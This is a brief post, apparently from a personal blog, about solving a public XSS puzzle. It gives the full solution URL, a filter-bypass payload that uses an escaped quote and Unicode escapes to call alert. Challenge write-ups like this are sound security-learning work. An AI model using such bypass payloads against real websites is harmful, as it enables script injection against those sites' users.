I found a link to an active XSS challenge, and i solved it.
The goal was to execute alert(1) using the query search, but it was quite complicated, because the
website had an annoying security system.
You can try it on your own here.
Happy to be in that hall of fame with security experts like @joserabal :D
Solution: https://research.insecurelabs.org/puzzlers/xss1/?query=\%27-a\u{6c}e\u{72}t(%22i%22%2B%22z%22%2B%22a%22%2B%22n%22%2B%22b%22%2B%22f%22%2B%221%22%2B%228%22%2B%220%22%2B%223%22))%0A–%3E